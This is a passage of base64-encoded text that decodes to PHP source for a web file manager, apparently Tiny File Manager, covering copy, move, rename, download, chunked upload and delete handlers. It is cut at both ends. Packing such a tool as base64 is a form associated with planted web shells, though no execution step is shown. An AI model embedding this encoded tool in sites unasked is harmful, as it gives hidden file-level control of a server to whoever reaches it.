gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAg